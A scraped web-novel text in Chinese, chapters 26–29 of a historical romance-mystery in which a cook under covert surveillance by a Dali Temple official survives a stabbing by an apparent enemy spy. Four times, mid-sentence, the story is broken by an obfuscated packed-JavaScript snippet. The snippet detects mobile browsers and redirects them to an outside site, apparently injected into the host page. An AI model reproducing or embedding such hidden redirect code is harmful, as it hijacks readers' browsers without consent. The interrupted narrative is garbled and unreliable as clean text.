韩泽讪讪地让了位,曹叔把堂屋的大方桌搬出来放在院中,给几位主子坐。姚轻雪看了看院中的几个人。“曹叔,您把灶房的小桌也搬出来吧。” 韩莺和姜玥瑶带过来的丫鬟婆子都在一边站着,虽然大户人家主子用膳,仆人站一边看着没毛病,但姚轻雪觉得别扭。 26. 第 26 章 姚轻雪让丫鬟婆子坐小桌,她每次烤完都分出两片给她们。这几人起初还放不开,偷偷去看主子。韩泽并不会管这些,韩莺顾着吃没空理她们。几个人尝了口肉脯后满心欢喜,主动给姚轻雪打下手。 姚轻雪烤了几板肉脯便开始烤肉,韩莺还有意见,她喜欢吃肉脯,四种口味都喜欢。让她日日吃都不会腻。 “这么多人你想累死我啊,先把肚子填饱,然后你自己个烤。”姚轻雪发现这丫头跟他哥一样,毛病真多,干啥啥不行,吃饭第一名。 羊肉和五花肉腌制入味,放在铁板上滋滋作响,香味儿很快弥漫了整个小院儿。口口声声说肉油腻的韩莺吃得停不下来。姚轻雪发现韩泽的表妹很聪明,不吭声闷头吃,看着斯斯文文实际吃得可不比韩莺少。 韩莺带过来的两个婆子在韩府做帮厨,烤肉没什么难度,看两眼就会,她俩把烤肉的活接过去。虽然才来没多大会儿,这两人也发现少爷对这位姚厨娘很宽容。 韩泽的婚事都快成了韩夫人的心病了,府里下人闲来无事也会偷偷聊两句解闷。少爷把一个姑娘留在身边做厨娘,若是没点心思,谁都不信。 有人接手姚轻雪乐得自在,她起身擦了擦脸上的汗,夏天吃烧烤是真遭罪,还好今日阴天没有太阳。不过遭罪的是她这个厨子,看看人家韩家兄妹一口烤肉一口拌菜。韩莺边吃还边嫌菜少。 姚轻雪心说给你准备这顿已经是她大度了,嫌少回家吃去。她坐在一旁歇息,隐约看见大门外有人。“曹叔,外面谁?” 曹叔抬头看了一眼:“韩府车夫。”主子在院里吃饭,车夫在外面守着马车。但架不住香味总往鼻子里钻,他就偷偷从门缝往里瞧。 “叫进来吧,我去炒个饭,都能吃饱。”人这么多,炉子小光吃烤肉供不上,姚轻雪打算做炒饭,顶饱还快。 有的人不吃主食总觉得不饱。先前她怕韩泽和曹叔光吃烤肉不行,才蒸了米饭,这会儿倒是用上了。姚轻雪把烤盘上的羊肉和五花肉拿走,在灶房用烤肉和鸡蛋炒了半盆炒饭。 韩泽那桌有肉脯、烤肉、烤鱼、烤虾。小桌有炒饭,另有两碗拌瓜丝和拌青菜,拌青菜用肉卤做浇头,瓜丝放了胡麻油、酱油和茱萸辣油,凉拌菜里都放了糖,吃起来清甜爽口又解腻。 车夫、曹叔,两个丫鬟,两个婆子,外加姚轻雪吃着炒饭、拌菜。后来韩泽那桌吃不动了。小桌这边也给自己烤了肉、河虾、鱼和青菜。 几个仆人往日哪里吃过这么好的东西,韩家不会苛待下人但也不会给他们吃烤肉。就是这炒米饭都让他们顾不上说话,有肉有蛋米饭油汪汪,一口下去,就一个字——香! 韩莺打着嗝往这边看,她也想尝尝炒饭,闻着好香,但她不大好意思张口,于是就去看她大哥。想让他大哥吩咐姚轻雪把饭端过来。韩泽转头见他家厨娘满头汗,便自己去盛了些炒饭回来。 韩莺和姜玥瑶给自己碗里拨了点,但她俩实在吃不下了。韩莺放下筷子揉肚子。“明日再来。” “可别。”姚轻雪不干,日日这么折腾,她受不了。“大小姐想吃,让您府上的厨子做,您就别折腾我了。” 韩莺噘嘴:“什么叫折腾?你是厨子,你不、” “莺儿!”韩泽打断她,“烤肉生痰,偶尔吃一次就好。你总往我这跑,书不读了?”家里有给韩莺和韩娇请先生教读书,韩莺总往外跑,先生也拿她没辙。 韩莺撅着嘴,“知道了。”她不怕爹娘,但很怵大哥。 吃到最后,除了做肉脯的肉泥,其他的一点没剩,姚轻雪准备的食材不少,但架不住人多,若是没有那半盆炒饭,根本不够吃。 吃饱后韩莺还想赖在这,姚轻雪:“小心发胖,赶紧起来活动,收拾碗筷的活就交给你了。” 韩莺哪里肯,她拽上表姐往外走,“大哥我走了,改天再来看你。那个、那个厨娘,下次本小姐来你要记得再做肉脯。”丫鬟婆子车夫给韩泽行礼后,匆匆随主子出了院子。 “您可别再来了,不光气人还累人。”姚轻雪边收拾碗筷边嘀咕。 韩泽看她一眼:“辛苦了,多谢。”妹妹家里宠的任性,姚轻雪嘴上不饶人,但也还是给妹妹做了肉脯。顺带连仆人的份都带上,他总要道声谢。 “不苦。”姚轻雪笑眯眯道,“大人,还剩些肉泥,我想做出来给我家人尝尝,我家可做不起炉具。”铁炉子和烤盘要花不少银子,她家暂时没有闲钱做这个。 “行,不够再去买,银子我出。”韩泽很痛快。 “不用,这些就够了。”姚轻雪道,韩泽不计较,她却不能不懂分寸。 她想做肉脯还是因为芽芽,小丫头没什么零嘴,家里的卤货总有吃腻的时候,姚轻雪就想着给她做点零嘴,但定做这套烤盘炉具不少银子,她就撺掇韩泽做了这套炉具。 姚轻雪在院中烤肉脯,韩泽拿了几块茱萸味儿的去上直。韩大人刚走出太平巷,就有人来敲他家门。曹叔回屋午睡了,姚轻雪开门见是宋筠。 “这香气害我书都看不下去。”宋筠笑得颇为无奈。若不是听见隔壁院里吵吵嚷嚷很多人,他早就过来了。 姚轻雪把人请进来,小桌还在院中,她让宋筠坐过去,宋筠却搬了凳子坐在她身边。宋公子端着盘子津津有味地吃肉脯,时不时地夸姚轻雪两句。 书房里从窗户缝往外看的杜七摩挲着下巴,这书生来的可真巧,他家大人前脚刚走他就来了。这事要不要告诉韩少卿呢? 吆,瞧瞧人家多贴心,杜七眯着眼看宋筠给姚轻雪扇扇子。他家大人要是这么体贴会哄人,孩子都几个了。哎,算了,人和人就不能比。 剩下的肉泥烤了约两盘肉脯,姚轻雪给宋筠一盘,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不用管,交给我了。”刘氏回屋拿了布条给她量衣服尺寸,量胸口时刘氏道:“你是不是比以前粗了?” 姚轻雪低头看看自己,别的地方没怎么长肉,但这里却肉眼可见地大了,那里一鼓就显得人粗。 在葫芦巷待了半下午,姚轻雪才回去给韩泽准备晚膳。第二天韩泽上直后,宋筠又来隔壁。他提着食盒:“昨日吃了令妹的肉脯,今日买些糕点果子,也不知她喜不喜欢?” “公子太客气了,我不能收。”姚轻雪推拒,最近宋筠总给她送东西。偶尔收一点不怎么贵重的,礼尚往来给他做几顿饭算是抵了。但太多她不能要,吃人最短、拿人手短。 “我不爱吃这些,你不收只能扔了,你不是常说浪费食物可耻吗?”宋筠眉眼含笑地看着她。 27. 第 27 章 姚轻雪被宋筠看得不自在,她垂下眼道:“仅此一次,您不能再这样了,不然我就不去给您做饭。” “这是威胁吗?”宋筠笑道:“好吧,你成功了。” 书房里的杜七啧啧了几声,读书人心眼儿真多。他家大人后院快要起火了,这事务必得上报。 韩泽很清楚宋筠对他家厨娘心思不纯,最开始或许是冲着姚轻雪的厨艺,但现在已经变了味儿,不过他也不能出面干涉。 自上次西柳巷诱捕失败后,事情就没了进展,韩泽急得嘴上起了一圈泡。当初他信心满满认为姚轻雪有问题,只要盯住她就能把藏在京城的北齐细作一网打尽。或许还能找到丢失的火器。但是这么长时间过去,姚轻雪身上疑点不少,却自始至终都没能抓到她任何把柄。在大理寺做事以来,韩大人第一次碰见让他头疼的人。 该拿姚轻雪怎么办呢? 陈九见他家大人愁眉不展,就给出主意:“大人!要我说不用费这么多精力监视,不就是个厨子嘛,她能多厉害。把人抓来严刑拷打,看她嘴硬还是咱大理寺的刑具硬?” “我看是你皮子紧了。”杜七踹了陈九一脚,封八说这小子愣头愣脑不会看人脸色,还真是。 姚轻雪伺候韩泽这么久,做饭应时应晌,饭菜也对胃口,韩大人脾气都好了很多。他们大人对那厨娘能没点感情?严刑拷打?姚厨娘有问题也就罢了,若是没有问题,韩泽得扒他一层皮。 来硬的容易,把人带到大理寺上刑,十个姚轻雪也顶不住。难的是万一弄错了怎么办?那厨娘看着性子软和,实际主意大着呢。 这小子还是太年轻欠历练,“赶紧去巷子口盯着,万一有事你和封八好有个照应。” 平常都是杜七和封八进韩泽书房近处盯着姚轻雪,陈九经验不足就让他在巷子口。陈九捂着屁股走了。 这时余天照从外面走进来,“大人,西柳巷的事查清了,是饭堂的张段,兄弟们在饭堂随口说过两嘴,怕是张段听得一知半解传错了消息。张段已经按住了,据他说有人给他银子,让他每日把在大理寺听到的话传给他们,尤其是关于火器的。” “人抓到了吗?”韩泽问。 余天照摇头,“都是对方来找张段,有时是路上、有时是他家里,我想把张段放了,看能不能把人逮住,不过属下觉得悬,张段胆小,就他那慌里慌张的样子,放他出去也只会漏了马脚。” “抓他也没什么用,试试吧。”韩泽道。 杜七看了看韩泽:“那西柳巷的事与姚厨娘没有关系?” 余天照:“也不见得,有两伙人去了西柳巷,一伙是找张段的,那另一伙呢?” “至少嫌疑少了一半。”杜七道,“我听说张家流放的奴仆又有人死了,可是真的?” 余天照点点头,流放地离京城太远,大理寺鞭长莫及,只有人死了才会传消息过来。从张家出去的人大理寺都仔细查过,没有问题才放走的。那些人死前都受过折磨,不像是北齐细作会做的事,倒有些像是泄愤。 韩泽眉头紧皱,底是谁杀了他们?“杜七你和封八把姚轻雪盯紧些,不要让她离开你们的视线。” 按规矩,盯了这么久没发现姚轻雪有问题,人早该撤了,但与张家有关的人接连死去,对姚轻雪的监视还得继续,是监视也是保护。 晚上,韩泽回到家,姚轻雪去灶房,没一会儿端上来一碗凉拌面。肉卤、瓜丝青菜做配菜,但没有茱萸辣油。他家厨娘说上火不能吃辣,炖肉都给他停了。韩泽心里有事胃口不好,随便吃两口便放下筷子。 姚轻雪见他剩下大半碗面,“曹叔,大人是不是有心事?”韩泽眉头不展,到家一句话都没说,现在连饭都吃不下。 曹叔:“应是公事,咱们帮不上忙,记得别惹他生气。” “知道了。”姚轻雪不傻,不会在韩泽心情差时去触他霉头。这几天她都没敢提芽芽户籍的事。 这天夜里,韩泽躺在床上听着隔壁轻微的响动,突然哐嘡一声,他鞋都没穿就跑了出去,踹开隔壁房门,看见姚轻雪撅着屁股趴在床下。 韩泽大步进屋扯着两腿就往外拽,被拖出来的姚轻雪懵了,她翻过上半身,身体以扭曲的姿势看来人,见是韩泽松了口气后问:“你干嘛?” 韩泽:“……”尴尬的韩大立马放手。 “哎呦。”姚轻雪没料到他说松手就松手,两脚重重地落到地上,疼得她掉眼泪。“你到底来干什么?” 韩泽摸摸鼻子,“我还想问你大半夜不睡觉折腾什么呢?” 姚轻雪坐在地上揉摔疼的脚,她干什么了?不就是捡掉到床下的袜子,不小心撞翻了凳子,至于把她薅起来吗? 踹门的动静不小,把曹叔惊醒了,曹叔站在门外,探头问:“怎么了这是?”他看看没穿鞋袜、只穿里衣的韩泽,再看看也只穿里衣、光着脚丫的姚轻雪。目光在两人身上徘徊,他是不是来的不是时候? 韩泽转身出了屋子,回身把房门关上。刚刚听到声响,他以为姚轻雪屋里进了人,踹开门后屋内油灯昏暗,她那个趴姿,他又以为床下有人掐她脖子。韩大人扶额,是他太紧张了。 曹叔小声道:“少爷,姚厨娘是个好姑娘,您要有想法就让夫人请媒人,可不行做那个。”韩泽:“……您误会了,回去睡吧。” 屋里的姚轻雪一头雾水,是她动静太大,吵到韩泽睡觉,所以他生气了?也只能是这个原因,不然韩泽突然发什么疯。 她从地上起来,小心翼翼地把倒下的凳子扶起,然后一瘸一拐地上床睡觉。 次日早,姚轻雪把汤包端出来,韩泽撂下一句:“不吃。”就走了。 不就是夜里吵他一下嘛,至于气到不吃早饭?姚轻雪嘀咕。 早饭不吃,大理寺不知有多少人要倒霉,曹叔赶紧找来食盒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772935|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把姚轻雪端着的盘子放进食盒追了出去。 韩泽走后没多久,韩莺和姜玥瑶来了。韩莺又让她做肉脯,姚轻雪不做:“脚伤了,做不了。” “又不用脚,伤了就伤了呗。”韩莺背着手围着姚轻雪看。 这话把姚轻雪气着了,“不愧是兄妹,一样没良心。” 韩莺怒:“你说我就算了,干嘛说我大哥,我大哥招你惹你了?” “哼,要不是你大哥我脚能伤?伤了还让我做肉脯,你说你兄妹俩是不是没良心?” “我大哥给你弄伤的?”韩莺眼睛瞪得老大,“怎么弄的?” “就是、”三两句话说不清楚,而且韩莺本就对她有误会,算了,不说了。 她欲言又止的样子,看在韩莺和姜玥瑶眼里就是另一番情景。韩莺吃饱饭打厨子,话里话外让姚轻雪别肖想她大哥,她表姐才是表哥的良配。 姚轻雪心想真要如此,你俩还来我跟前嘚瑟什么?表妹在表哥面前一哭,韩泽早把她撵走了。再说韩泽看姜玥瑶的眼神里根本没有情爱。“表哥表妹生出的孩子大多有问题,不是痴傻就是体弱多病。” 韩莺:“胡说八道,我朋友爹娘就是表哥表妹,她好着呢?” “你确定她没毛病?”姚轻雪问。 韩莺不说话了,她那个朋友好像不太聪明。 姜玥瑶一直在旁边冷眼旁观,听到这话赶紧问:“姚厨娘你说这话可有道理?”她喜欢表哥不假,但可不想生出傻孩子。 “道理你可以自己去寻,京城那么多郎中,多问问便知,虽然不是绝对,但表兄妹结合生下孩子出问题的可能性较大,摊不上是幸运,摊上了,别人会说是天意或是不祥。” 姜玥瑶突然想起一位朋友,生下来身体就不好,她爹娘便是表兄妹。而她上头夭折过两个哥哥,在她出生前父亲就纳了妾,妾生的儿子好好的。他父亲觉得她母女不祥,对她们很冷淡,她前年及笄但婚事一直没有着落。 姜玥瑶一个激灵,就像姚轻雪说的,遇不上是幸运,摊上一辈子就毁了,表哥不会多看他一眼,姨母甚至爹娘也会怨她不争气,到那时所有的错都是她的。 韩莺见姜玥瑶脸色煞白,忙道:“表姐你别听她乱说,她就是吓唬你。” “我有分寸。”姜玥瑶拉起表妹的手,“走吧,表姐给你买荷花糕去。” 韩莺就是小孩子心性,有吃的,她也顾不上姚轻雪,跟着表姐走了。 晚上韩泽回家问起此事,姚轻雪纳闷,表姐俩这么快就去找韩泽告状?这嘴巴也太快了吧? “韩大人,看在咱俩主仆一场的份上,我也给您提个醒,表兄妹成亲生出痴傻、残疾、病弱孩子的可能性要比一般人高。您在大理寺见多识广,想要验证此事应该不难。” “你如何知晓此事?”真假他自然会验证,但姚轻雪言之凿凿半点犹豫都没有,这让韩泽十分奇怪。 28. 第 28 章 姚轻雪开始胡诌:“我在安国公府看过一本书,一位老郎中用一生总结出此事。”反正赵家没了、书也不会有,死无对证、查无此书。跟她一点关系没有。 “看?”韩泽笑吟吟地看着她,姚轻雪反应过来赶紧改口:“听,赵琨读,我听。”忘了她以前不识字。 “安国公府规矩甚大,你一厨子去赵琨书房做什么?”韩泽紧追不放。 姚轻雪觉得韩泽的关注点错了,不过也没多想,这大概是办案人的特点,喜欢刨根问底,“赵琨让我去他书房。”其实不是书房,是卧房啊。 韩泽皱眉:“你去了?” “不然呢?”姚轻雪看他,“主子让干啥不就得干啥。” 赵琨那人风流,表面装得好,但韩泽把赵家查的底朝天,赵琨做的那些事他都知道。韩大人冷笑:“赵琨的话你言听计从,怎么没见你这么听我的话?” “那不一样,我上房揭瓦您顶多让我把瓦补上,赵琨、”姚轻雪顿了一下。 “赵琨怎么了?”韩泽眯了眯眼。 “没什么。”人都不在了,还是别说有的没的了。“对了,大人,我家芽芽的户籍,什么时候能办?您可是答应我了。” 上次赴宴之后,韩泽心情都不怎么好,这两天又上火嘴上起泡,姚轻雪就没敢提这茬。这些日子她变着花样给他做膳食,又伺候韩莺和他表妹,算是变相讨好,昨晚还让他伤了脚丫子,得趁这个机会让他把事办了。 “明日带你妹妹去大理寺找我。”一个户籍而已,办就办了吧。 姚轻雪立马露出笑脸,恭恭敬敬给他行了一礼:“多谢大人!” 韩泽撩起眼皮子看她:“明早排骨焖面。” “没问题。”姚轻雪笑着应下,别说是排骨焖面了,就是想吃猪头她也给扛回来。 韩泽觉得这女人势利。让她高兴,她就乖巧顺从,变着花样做吃食。不然就很能应付,甚至敢甩脸子给他这个雇主。 次日早膳后,她碗筷都没收拾就回家把芽芽领出来,姐俩找到姚福和刘氏的摊子,把家里钥匙给他们。然后姚轻雪带着芽芽去大理寺找韩泽。衙门有人就是好办事,韩泽领着,姚轻鸿的户籍很快就办下来了。 出了衙门还不到巳时,姚轻雪问:“大人,中午想吃什么?” 韩泽见她高兴,不知怎地心里也觉得舒服,“随便,看着做吧。” “大人,您又随便。”姚轻雪无奈,韩泽不爱点菜,嘴巴还挑,这让厨子很难做。 韩泽:“……”他忘了“随便”在他家厨娘这儿是一道菜。赶紧改口:“不要把乱七八糟的东西放一起煮。” 姚轻雪笑起来,“好。”告别韩泽,她领着芽芽买菜。中午打算做烧麦、虾饺、炸鱼、酥炸肉。手指长的小鱼,腌后下油锅里炸,骨头都是酥的。芽芽最爱吃这个,刘氏嫌费油不怎么做,今日就假公济私让芽芽吃个够。 芽芽在灶房帮姐姐烧火,她怕韩泽不喜她在这,担心自己会给姐姐惹麻烦。“姐,韩大人会不会不高兴?” 姚轻雪摸摸妹妹脑门,“放心吧,韩大人很好,不会在意这些,你是不是觉得他板着脸特别吓人?” 芽芽点头,“他都不笑。” 姚轻雪弯腰跟妹妹小声说:“其实他很挑食。” 芽芽眼睛瞪大,那么大的人还挑食? 姚轻雪似乎知道她在想什么,点了点头,“别看他整日板着脸,但人还不错,他帮过姐姐,还给你办户籍。你的户籍李叔都办不下来。” “嗯,我知道了,韩大人是好人。”小姑娘用力点头。 芽芽在韩家待了大半天,才被姐姐送回葫芦巷。小孙女京城的户籍办下来了,刘氏高兴,听孙女说韩大人喜欢吃腊肉,便把家里仅剩的一块腊肉让姚轻雪拿回去。 芽芽户籍办下来,心头的一块大石头终于落地。姚轻雪卖力准备膳食,以前一顿一两个菜,现在顿顿三菜一汤。日日买一篮子菜回来。 这日买完菜,姚轻雪顺路去看姚福和刘氏。见爷爷忙不过来,便去帮忙。她正低头忙着给客人包东西,听见头上有人道:“是你?” 姚轻雪抬头,然后笑了:“玉姑娘!”来人正是凤仙楼的玉美人。 玉美人笑着道:“我们又见面了。” “算上这次,我见您四回了。”姚轻雪把卤味交给食客,转过头来问:“姑娘怎么到这来了?” “我听说这边有家卤味摊不错,便想过来瞧瞧,没想到是你。”玉美人要了几样,临走前问道:“姑娘刚说见过我四次?我怎么不记得?” “我在张家做过厨子,张、”姚轻雪突然顿住,张家和赵家都没了,她现在说这些显得晦气,人家或许不爱听。便改口道:“没什么,姑娘吃好了再来。” 玉美人点头告辞,转身后脸上的笑消失不见,张家?哪个张家? 两日后,姚轻雪买完菜往家走,她穿过几条小巷,巷子里不像大街上人那么多,有时一个人碰不到。她平日都是从这里回太平巷。 姚轻雪挎着篮子走进巷子,这条巷子并非笔直向前,而是有个弧度。就在她走过弯道不久,前方走来一戴草帽穿着黑衣服的男子。 就在两人错身时,那人突然抬起手,向姚轻雪脖子落下。姚轻雪对人一向警觉,尤其是陌生人,这人大热天黑衣黑裤还把帽檐压那么低,她正觉得奇怪。眼角余光一直打量那人,就看见他举起刀子对着自己脖子扎下来。 姚轻雪下意识下抬起左边胳膊,匕首穿过篮子扎进了她的手臂,姚轻雪一声惨叫。那人拔出匕首,准备来第二下。姚轻雪把篮子往他身上一甩,转头就跑并大喊:“救命!” 那人几步追上来抓住姚轻雪的衣服,眼看着就要给她后心口扎上一刀。那人突然一声闷哼,低头一看,屁股上扎了一枚飞镖。紧接着一人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783785|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他近前。 黑衣人顾不上姚轻雪,与这人打斗起来。姚轻雪趁机逃出巷子,她胳膊上血葫芦似的,一出巷子就吸引了很多人的目光。 刑部衙门的褚景尧恰巧经过此地,见状驱马过来查看。姚轻雪见他穿着官服,便把巷子里的情况简短说明。 还不等她说完,杜七就从巷子里跑出来。那人跑了,他没追,怕姚轻雪这边再遇到杀手。 褚景尧以为他要杀姚轻雪,就想拿下。杜七赶紧亮明身份。“自己人,自己人,大理寺韩少卿手下。” 褚景尧看了杜七的腰牌,“人我带走。” “别。”杜七赶紧拦住,“这人您不能带走,她是我们大理寺要的人。” 褚景尧冷笑:“大理寺能耐大,我没意见,但本案发生在街上,该由府衙处理,你们大理寺管太宽了,这人我得带走。”这话说出来可不像是没意见。 杜七挡在姚轻雪身前:“他是我大理寺重要证人,此次遇袭与火器丢失案有关,这人我必须带回大理寺,还请大人见谅。”这要是把姚轻雪弄丢了,韩泽饶不了他。 火器丢失案?褚景尧一顿。此案陛下交给大理寺追查,至今未破。既然是与火器丢失案有关,人他还真不能带走,谁都知道韩泽得陛下器重。“火器你们大理寺找了这么久还没找到?韩少卿都在干什么?” 杜七赔笑:“机要信息恕在下不能多言。” 褚景尧皮笑肉不笑道:“想说也没什么可说的吧,查了这么久,死的死,没的没,一根毛都没找到。替我转告韩少卿,若需要刑部帮忙尽管开口。”火器丢失案就是烫手的山芋,谁接谁头疼,他就等着看韩泽笑话吧。 “多谢多谢,小的一定转告韩少卿,大人慢走。”等人走后,他撕了衣服给姚轻雪止血,简单包扎后道:“走吧,姚厨娘。”他已经在姚轻雪面前露了脸,干脆不瞒了。 “你是韩泽的人?”不对,姚轻雪上下打量杜七,“你是那个货郎?” 姚轻雪终于想起来了。那日在城外见到韩泽的一个手下感觉眼熟,而那人就是眼前这位做货郎打扮的男人。货郎她见过数次,在葫芦巷、太平巷,平安大街。还在他那里给芽芽买过糖,他竟然是大理寺的官差? 姚轻雪有些懵,完全不知道怎么回事?“官爷,能告诉我是怎么回事吗?” “到了大理寺你自然就清楚了。”杜七不肯说,姚轻雪迷迷糊糊被带到大理寺。 看见姚轻雪胳膊和前胸的衣服都被血染透了,韩泽只觉得心尖一疼,上前抓住她胳膊查看,姚轻雪闷哼一声。 杜七赶紧道:“属下检查过了,没有毒,伤得也不深,郎中已经在来的路上了。”他话音刚落,大理寺常用郎中便背着药箱跑进来。 韩泽不忍多看便走出房间,他问杜七:“怎么回事?你不是跟着吗?” 杜七把事情一说,韩泽陷入沉默,终究还是来了。 29. 第 29 章 姚轻雪差点被杀,把大理寺卿陆方都惊动了,他放下公务找到韩泽了解情况。杜七把巷子里发生的事原原本本讲述一遍。 陆大人听后对韩泽说道:“看来是你猜错了,这厨娘与北齐细作并无关联,不过倒也不算坏事,阴差阳错你倒是把人保住了。” 韩泽心情复杂,把姚轻雪当北齐探子是他犯得最严重的错误,同时他又感到庆幸。没有怀疑,便不会派人跟踪。今日没有杜七,姚轻雪必死无疑。杜七说杀她那人是高手,从武功路数上看十有八九是北齐细作,如此姚轻雪就不可能是北齐探子。 今日这人下手狠绝,意在一刀要人命,而先前死去的那些人多少都受过折磨。从这点上看,姚轻雪遇袭与张家遇害的那些人有明显不同,恐怕不是同一伙人所为。有一点韩泽想不通,若杀张家奴仆者另有其人,那么北齐探子为何突然要杀一个平平无奇的厨娘? 陆方见他久久不说话,以为他受了打击,陆大人拍拍属下肩膀。“别灰心,姚轻雪虽不是北齐探子,但与北齐细作必有瓜葛,不然他们不会冒着暴漏的风险杀她,以这厨娘为饵找到北齐在京城的探子组织也未尝不可。” “大人说的是。”韩泽心里稍稍宽慰了些,他最初的怀疑或许歪打正着,北齐探子要杀姚轻雪一定有原因。 一炷香后,郎中背着药箱出来。“伤无大碍,好好养着月余便好,随我去抓药吧。” 高飞随郎中去抓药,韩泽去看姚轻雪。他家一向神采奕奕的厨娘,此时却脸色苍白地靠在椅子上。韩泽倒了杯茶放到她面前。 姚轻雪扯了扯嘴角:“您应该给我来碗猪血,吃啥补啥。” 韩泽:“……”还知道说笑,看来是没事。“猪血回家给你补上,我来问你:今日那人为何要杀你?” “我不认识他,以前也没见过,他为何要杀我,我完全不知道。”姚轻雪也是一头雾水,她做梦都没想到有一天自己会被人杀。“我没有与人结过仇,爷爷奶奶一向与人为善,宁可自己吃亏也不会得罪人,我实在想不出谁会想杀我。” 仔细想想巷子里那人就不是普通人。她自来到这以后只跟葫芦巷的杨婆子起过嫌隙,但杨家母子不会有这个胆量雇凶杀她。 韩泽盯着她,见她一脸茫然,似是真不知情。便没有拐弯抹角:“你可知张迁因何抄家?” 姚轻雪愣了愣,然后轻轻摇头,外面传张迁渎职贪污。李通不让她打听,她就没敢打听,到底是因为什么她还真不知道。 韩泽:“张迁监守自盗把工部的一千件火器偷走,大理寺找了半年,至今没找到下落。” 火器?姚轻雪突然意识一个问题,藏宝图藏的或许不是金银财宝。她试探着问:“一千件火器也没多少银子吧?再说这跟我有什么关系?” “不过十万两白银,但一千件最火器武装的军队抵得上几万兵士,若是让有心人拿去使用,或是大批制造,会是什么后果你想过吗?别说是你一条命,就算要赔上大理寺百余人的命、”韩泽顿了顿,“你觉得这是银子的事?至于跟你有何关系?这就要问你自己了。” 姚轻雪只觉得遍体生寒,她从未想过那张图会牵扯这么大,她以为只是钱财,而且她也没打算找到以后全部据为己有。 现在若是把图交出来,说不定会被当成张迁同党或是叛党。她相信韩泽,但韩泽上头还有上司,真到了那个时候,大理寺少卿即便有心救她,也是毫无办法。况且,韩泽找了那么久,结果图在她身上,韩泽不怪她就不错了,怎么可能不遗余力地救她? 姚轻雪不敢赌,为了一家老小的安全,她决定抵死不认。“民女孤陋寡闻,并不知道火器有那么重要。您问与我有何关系,我真不知道。” 韩泽知道什么?还是在诈她? “敌国也想得到这批火器,从张家出来的每一个人都被盯上,今日要杀你的就是北齐探子。”韩泽盯着她看,说到北齐,姚轻雪神色毫无波澜,甚至有些茫然,他彻底松了口气。 他现在可以肯定姚轻雪不是北齐细作,被跟踪这么久没察觉,今日还差点被抹了脖子,北齐那个女探子可没这么废物,不然也不会让他找这么久毫无所获。 敌国都牵扯进来?事情完全超出了姚轻雪的想象,她稳了稳心神,努力不在韩泽面前漏出破绽。“我在张家也只是个厨子,与还是工部侍郎的张迁仅有一面之缘,张夫人和吴姨娘倒是见得多,但她们也不可能把这么重要的事情告诉我。” “姚轻雪,从张家出来的奴仆死了几个,都是被人折磨致死,那些人能杀你一次,就能杀你第二次。”韩泽直觉姚轻雪有所隐瞒,“火器丢失,陛下震怒,你知道什么,今日都说出来。我可保你无虞,若是知情不报,日后被查出来便是重罪,你要想清楚。” 姚轻雪惨笑:“韩大人,我只是个厨子,整日待在后厨,见主子的次数有限,我能知道什么?照您所说从张家出来的人都有嫌疑,或许有旁人知情也说不定,我真的什么都不知道,我不会拿性命当儿戏。” 今日那人上来就要杀她,而不是向她索要图纸。姚轻雪猜他不知图的存在。不是因为图,那为何要杀她?姚轻雪也想不明白。 见她脸色很差,韩泽没再问下去,让她回家休息。姚轻雪起身的一瞬只觉头晕眼花身体一晃,今日又惊又吓,再加上失血过多,她很没精神。韩泽扶了一把没让人倒下去。 “多谢!”姚轻雪缓了缓,慢慢往门口走,走了几步突然回头问:“送我回来的官差为何总出现在我身边?” “从张家出来的人都有人保护。”韩泽面不改色地撒谎。 姚轻雪点点头,走了两步又回头:“有人保护还被杀了?” 韩泽:“总有失误的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787461|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大理寺也不是万能的,你还活着。” 姚轻雪看着他:“监视为主,保护为辅?” 韩泽:“……”还挺敏锐。 见他没说话,姚轻雪知道自己猜对了。“我从何时被人监视?” “安国公府抄家之后。”事到如今也没必要隐瞒,韩泽实话实说。 姚轻雪大为震惊,被人跟踪监视这么久,她竟然一点都没有察觉,还傻傻地出城找财宝。韩泽怕早就对她起疑了吧? 不过仔细一想,韩泽即便有怀疑也不大可能知道她手里有图,当时在张家若是没人看见她和吴姨娘碰面,图的事这世上就只有她一人知情。这么想姚轻雪稍稍放了心。若是韩泽知晓,她怕早进大理寺地牢了。 那张图,不能留。姚轻雪说想回姚家养伤。 